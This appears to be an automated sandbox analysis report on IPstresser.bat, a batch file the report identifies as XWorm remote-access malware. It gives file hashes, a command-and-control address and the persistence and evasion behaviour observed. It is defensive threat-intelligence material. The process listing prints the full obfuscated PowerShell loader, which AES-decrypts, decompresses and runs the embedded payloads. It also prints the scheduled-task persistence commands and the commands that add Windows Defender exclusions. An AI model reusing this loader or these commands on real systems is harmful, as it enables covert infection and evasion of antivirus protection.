Analysis
-
max time kernel
127s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 02:55
Static task
static1
Behavioral task
behavioral1
Sample
IPstresser.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
IPstresser.bat
Resource
win10v2004-20240426-en
General
-
Target
IPstresser.bat
-
Size
110KB
-
MD5
4cbfab042795f657884a406a51d4ec6f
-
SHA1
c10c313cefe72a09d43dfe1372eb8f200a85860c
-
SHA256
2d6df8a9163bf7b8c59ab0e01b93b8793c94b6513c5af6f7c9c6da493f77ebfb
-
SHA512
8773649c55df56d1c7955aa93a9420daf2852f7bd37e6b32f9a1327db8d70dabad7d2179651bdfab9638dae15a45748eb426dd3a2d68184feafd393308a80622
-
SSDEEP
1536:3cD5OO6WnyqyAQkb7FhNLk56/uXMMAAhtXmVEMCB91Z+qiIwxN/DFzINczTpOL:O5OO6Wyqy3Q7C5wC86Mg91cruSdOL
Malware Config
Extracted
xworm
continue-silk.gl.at.ply.gg:58347
127.0.0.1:58347
-
Install_directory
%AppData%
-
install_file
steamwebhelper.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4112-48-0x000001C2E0880000-0x000001C2E089E000-memory.dmp family_xworm -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 23 4112 powershell.exe 26 4112 powershell.exe 56 4112 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
steamwebhelper.exepid process 4804 steamwebhelper.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\steamwebhelper = "C:\\Users\\Admin\\AppData\\Roaming\\steamwebhelper.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesteamwebhelper.exepid process 4892 powershell.exe 4892 powershell.exe 3944 powershell.exe 3944 powershell.exe 4112 powershell.exe 4112 powershell.exe 3608 powershell.exe 3608 powershell.exe 1444 powershell.exe 1444 powershell.exe 1492 powershell.exe 1492 powershell.exe 1260 powershell.exe 1260 powershell.exe 4112 powershell.exe 4804 steamwebhelper.exe 4804 steamwebhelper.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4892 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeIncreaseQuotaPrivilege 3944 powershell.exe Token: SeSecurityPrivilege 3944 powershell.exe Token: SeTakeOwnershipPrivilege 3944 powershell.exe Token: SeLoadDriverPrivilege 3944 powershell.exe Token: SeSystemProfilePrivilege 3944 powershell.exe Token: SeSystemtimePrivilege 3944 powershell.exe Token: SeProfSingleProcessPrivilege 3944 powershell.exe Token: SeIncBasePriorityPrivilege 3944 powershell.exe Token: SeCreatePagefilePrivilege 3944 powershell.exe Token: SeBackupPrivilege 3944 powershell.exe Token: SeRestorePrivilege 3944 powershell.exe Token: SeShutdownPrivilege 3944 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeSystemEnvironmentPrivilege 3944 powershell.exe Token: SeRemoteShutdownPrivilege 3944 powershell.exe Token: SeUndockPrivilege 3944 powershell.exe Token: SeManageVolumePrivilege 3944 powershell.exe Token: 33 3944 powershell.exe Token: 34 3944 powershell.exe Token: 35 3944 powershell.exe Token: 36 3944 powershell.exe Token: SeIncreaseQuotaPrivilege 3944 powershell.exe Token: SeSecurityPrivilege 3944 powershell.exe Token: SeTakeOwnershipPrivilege 3944 powershell.exe Token: SeLoadDriverPrivilege 3944 powershell.exe Token: SeSystemProfilePrivilege 3944 powershell.exe Token: SeSystemtimePrivilege 3944 powershell.exe Token: SeProfSingleProcessPrivilege 3944 powershell.exe Token: SeIncBasePriorityPrivilege 3944 powershell.exe Token: SeCreatePagefilePrivilege 3944 powershell.exe Token: SeBackupPrivilege 3944 powershell.exe Token: SeRestorePrivilege 3944 powershell.exe Token: SeShutdownPrivilege 3944 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeSystemEnvironmentPrivilege 3944 powershell.exe Token: SeRemoteShutdownPrivilege 3944 powershell.exe Token: SeUndockPrivilege 3944 powershell.exe Token: SeManageVolumePrivilege 3944 powershell.exe Token: 33 3944 powershell.exe Token: 34 3944 powershell.exe Token: 35 3944 powershell.exe Token: 36 3944 powershell.exe Token: SeIncreaseQuotaPrivilege 3944 powershell.exe Token: SeSecurityPrivilege 3944 powershell.exe Token: SeTakeOwnershipPrivilege 3944 powershell.exe Token: SeLoadDriverPrivilege 3944 powershell.exe Token: SeSystemProfilePrivilege 3944 powershell.exe Token: SeSystemtimePrivilege 3944 powershell.exe Token: SeProfSingleProcessPrivilege 3944 powershell.exe Token: SeIncBasePriorityPrivilege 3944 powershell.exe Token: SeCreatePagefilePrivilege 3944 powershell.exe Token: SeBackupPrivilege 3944 powershell.exe Token: SeRestorePrivilege 3944 powershell.exe Token: SeShutdownPrivilege 3944 powershell.exe Token: SeDebugPrivilege 3944 powershell.exe Token: SeSystemEnvironmentPrivilege 3944 powershell.exe Token: SeRemoteShutdownPrivilege 3944 powershell.exe Token: SeUndockPrivilege 3944 powershell.exe Token: SeManageVolumePrivilege 3944 powershell.exe Token: 33 3944 powershell.exe Token: 34 3944 powershell.exe Token: 35 3944 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 4112 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 2796 wrote to memory of 4892 2796 cmd.exe powershell.exe PID 2796 wrote to memory of 4892 2796 cmd.exe powershell.exe PID 4892 wrote to memory of 3944 4892 powershell.exe powershell.exe PID 4892 wrote to memory of 3944 4892 powershell.exe powershell.exe PID 4892 wrote to memory of 428 4892 powershell.exe WScript.exe PID 4892 wrote to memory of 428 4892 powershell.exe WScript.exe PID 428 wrote to memory of 2352 428 WScript.exe cmd.exe PID 428 wrote to memory of 2352 428 WScript.exe cmd.exe PID 2352 wrote to memory of 4112 2352 cmd.exe powershell.exe PID 2352 wrote to memory of 4112 2352 cmd.exe powershell.exe PID 4112 wrote to memory of 3608 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 3608 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1444 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1444 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1492 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1492 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1260 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1260 4112 powershell.exe powershell.exe PID 4112 wrote to memory of 1792 4112 powershell.exe schtasks.exe PID 4112 wrote to memory of 1792 4112 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('la9164c2CHXOtVjsEzb/di2tt2EmrBknsikvZzwy+lA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MG099+K63nybi6ytFcIO9w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UWDjB=New-Object System.IO.MemoryStream(,$param_var); $uPsDm=New-Object System.IO.MemoryStream; $EmRHJ=New-Object System.IO.Compression.GZipStream($UWDjB, [IO.Compression.CompressionMode]::Decompress); $EmRHJ.CopyTo($uPsDm); $EmRHJ.Dispose(); $UWDjB.Dispose(); $uPsDm.Dispose(); $uPsDm.ToArray();}function execute_function($param_var,$param2_var){ $bAAUH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xfGLt=$bAAUH.EntryPoint; $xfGLt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$rfudV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($BHjqG in $rfudV) { if ($BHjqG.StartsWith(':: ')) { $uYxXT=$BHjqG.Substring(3); break; }}$payloads_var=[string[]]$uYxXT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_209_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_209.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_209.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_209.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('la9164c2CHXOtVjsEzb/di2tt2EmrBknsikvZzwy+lA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MG099+K63nybi6ytFcIO9w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UWDjB=New-Object System.IO.MemoryStream(,$param_var); $uPsDm=New-Object System.IO.MemoryStream; $EmRHJ=New-Object System.IO.Compression.GZipStream($UWDjB, [IO.Compression.CompressionMode]::Decompress); $EmRHJ.CopyTo($uPsDm); $EmRHJ.Dispose(); $UWDjB.Dispose(); $uPsDm.Dispose(); $uPsDm.ToArray();}function execute_function($param_var,$param2_var){ $bAAUH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xfGLt=$bAAUH.EntryPoint; $xfGLt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_209.bat';$rfudV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_209.bat').Split([Environment]::NewLine);foreach ($BHjqG in $rfudV) { if ($BHjqG.StartsWith(':: ')) { $uYxXT=$BHjqG.Substring(3); break; }}$payloads_var=[string[]]$uYxXT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\steamwebhelper.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\Users\Admin\AppData\Roaming\steamwebhelper.exe"6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\steamwebhelper.exeC:\Users\Admin\AppData\Roaming\steamwebhelper.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5eb1ad317bd25b55b2bbdce8a28a74a94
SHA198a3978be4d10d62e7411946474579ee5bdc5ea6
SHA2569e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98
SHA512d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5dd1d0b083fedf44b482a028fb70b96e8
SHA1dc9c027937c9f6d52268a1504cbae42a39c8d36a
SHA256cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c
SHA51296bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_em41jzlm.ith.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\startup_str_209.batFilesize
110KB
MD54cbfab042795f657884a406a51d4ec6f
SHA1c10c313cefe72a09d43dfe1372eb8f200a85860c
SHA2562d6df8a9163bf7b8c59ab0e01b93b8793c94b6513c5af6f7c9c6da493f77ebfb
SHA5128773649c55df56d1c7955aa93a9420daf2852f7bd37e6b32f9a1327db8d70dabad7d2179651bdfab9638dae15a45748eb426dd3a2d68184feafd393308a80622
-
C:\Users\Admin\AppData\Roaming\startup_str_209.vbsFilesize
115B
MD5426da06aa2bd5925d1ca93f1699d4fc0
SHA141b529503b3038a03fe37fe3c6d06ced00817dc5
SHA2569356e712fdcf81d2e1f888740f204d899b0bfb9a513271e2153fe9823ed371d9
SHA5128d933185a9b8f5535886e191d6e727b99f09fe50c775e78f3d3daa45ff087e2ce95375f3e41cb73ceccd36ccde493d97c2de1e294ce5e1b583280c534587b339
-
C:\Users\Admin\AppData\Roaming\steamwebhelper.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
memory/3944-29-0x00007FFC36830000-0x00007FFC372F1000-memory.dmpFilesize
10.8MB
-
memory/3944-26-0x00000210BCAB0000-0x00000210BCAC0000-memory.dmpFilesize
64KB
-
memory/3944-25-0x00007FFC36830000-0x00007FFC372F1000-memory.dmpFilesize
10.8MB
-
memory/4112-48-0x000001C2E0880000-0x000001C2E089E000-memory.dmpFilesize
120KB
-
memory/4112-111-0x000001C2C86D0000-0x000001C2C86DC000-memory.dmpFilesize
48KB
-
memory/4804-107-0x000001A1EB080000-0x000001A1EB0C4000-memory.dmpFilesize
272KB
-
memory/4804-108-0x000001A1EB510000-0x000001A1EB586000-memory.dmpFilesize
472KB
-
memory/4892-13-0x00000183DB750000-0x00000183DB758000-memory.dmpFilesize
32KB
-
memory/4892-49-0x00007FFC36830000-0x00007FFC372F1000-memory.dmpFilesize
10.8MB
-
memory/4892-14-0x00000183DB7B0000-0x00000183DB7C6000-memory.dmpFilesize
88KB
-
memory/4892-10-0x00007FFC36830000-0x00007FFC372F1000-memory.dmpFilesize
10.8MB
-
memory/4892-11-0x00000183C0EE0000-0x00000183C0EF0000-memory.dmpFilesize
64KB
-
memory/4892-12-0x00000183C0EE0000-0x00000183C0EF0000-memory.dmpFilesize
64KB
-
memory/4892-9-0x00000183DB760000-0x00000183DB782000-memory.dmpFilesize
136KB